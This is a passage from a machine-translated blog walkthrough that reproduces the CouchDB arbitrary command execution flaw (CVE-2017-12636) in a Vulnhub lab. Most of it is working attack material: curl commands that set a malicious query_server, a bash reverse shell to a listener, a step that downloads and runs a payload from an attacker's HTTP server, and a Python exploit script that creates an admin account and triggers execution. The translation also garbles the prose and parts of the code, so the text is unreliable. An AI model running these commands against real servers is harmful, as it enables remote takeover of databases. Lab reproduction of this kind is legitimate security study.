使用Vulnhub脆弱性を再現 - CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)

脆弱性の原則:
ApacheのCouchDBのは、使いやすさに焦点を当て、オープンソースのデータベースであるとなる「完全にウェブデータベースを受け入れます。」それは、NoSQLのデータベースAPIとしてクエリ言語、MapReduceのHTTPなどの保存形式JSON、JavaScriptなどの使用です。そのソーシャルプラットフォーム(Webおよびアプリケーション)との動的コンテンツの表示プラットフォーム、その内部のコモディティ部門におけるクレディ・スイス、Meeboのと市場の枠組み、このようなBBCなどのアプリケーションの広い範囲。

2017年11月15日には、CVE-2017から12635およびCVE-2017から12636は、我々はこの設計では、設定によって、設定項目をCouchDBのAPIの設定query_serverを変更することができ、CVE-2017から12636は、任意のコマンドが実行される脆弱性です、開示しますとき、実行ビューが実行されます。

脆弱性の再現:
1、新しいquery_server構成、書き込みコマンドを実行する。
-X PUTカール' HTTP:// PPPP:PPPPドローン@ IP:5984 / _config / query_servers / CMD ' -d "「上記のID> / TMP /成功」「
赤の矢印は、自分のアカウントとパスワードを作成することですが、私は以下を示しています。
使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)
2、新しい一時的なデータベースと一時テーブル、レコードが挿入されます。
①curl-X-PUT ' HTTP:// PPPP:PPPPドローンIP @:5984 / OLL '
②curl-X-PUT " HTTP:// PPPP:PPPPドローン@ IP:5984 / OLL / VUL '-d' { "_id": "770895a97726d5ca6d70a22173005c7b"} '
赤い矢印は、独自のテーブルを作成する
使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)
。3.呼処理データがquery_server
-X-PUTのカールHTTP:// PPPP:PPPPドローン@をIP:5984 / OLL / _design / VUL -d「{ "_id": "_デザイン/テスト"、 "ビュー":{ "wooyun":{ "地図": ""}}、 "言語": "CMD"} 「-H "

EXP実行リバウンドシェル:
1.リバウンドスクリプト:以下の家庭内のindex.htmlを作成します。以下の追加
のbash -i>&/dev/tcp/172.16.11.2/9000 0>& 1
ネイティブIPに赤い矢印ポイント
使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)
のpython -m SimpleHTTPServer 8000ホームで行われる端末から他の2、
使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)
3 EXPを作成します。 .pyスクリプト、次のように:
#!は/ usr / binに/ ENVのpython3
のインポート要求
requests.authインポートからHTTPBasicAuth

ターゲット= ' http://192.168.8.148:5984 '
コマンド= ' "のbash -i>&/dev/tcp/192.168.8.148/4444 0>&1"'
バージョン= 2

session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
#session.proxies = {
#'http': 'http://127.0.0.1:8085'
#}
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

もしバージョン== 1:
session.post(目標+ '/ wooyun / _temp_view限界= 10?'、データ= { "言語": "CMD"、 "マップ": ""} ')
他:
session.put(標的+ '/ wooyun / _design /試験'、データ= { "_ ID": "_設計/テスト"、 "ビュー":{ "wooyun":{ "マップ": ""}}、 "言語": "CMD 「} ')

使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)

4. exp.pyに指令値を変更します。172.16.11.2:8000 -oを/ tmp / bashell保存して実行のpython exp.py.カール
今度は、HTTPサービスは要求を正常にダウンロードするにはリッスン見ることができます

ターミナルを再オープンし、9000 -lnvp NCを監視し、ローカルポート9000でリッスン
使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)

6.変更を保存し、コマンドのpython exp.pyを実行し、取得に成功した、指令値はbashを/ tmp / bashellをexp.pyシェル立ち直る
使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)
私のIPを学習することはありません、右書き込んでください(ドローンのIP IPターゲットを)の日の心配、間違いました

7.この成功しました。
使用Vulnhub脆弱性を再現 -  CouchDBの任意のコマンドが実行される脆弱性(CVE-2017から12636)
ルートを取得します。

おすすめ

転載: blog.51cto.com/14259144/2421181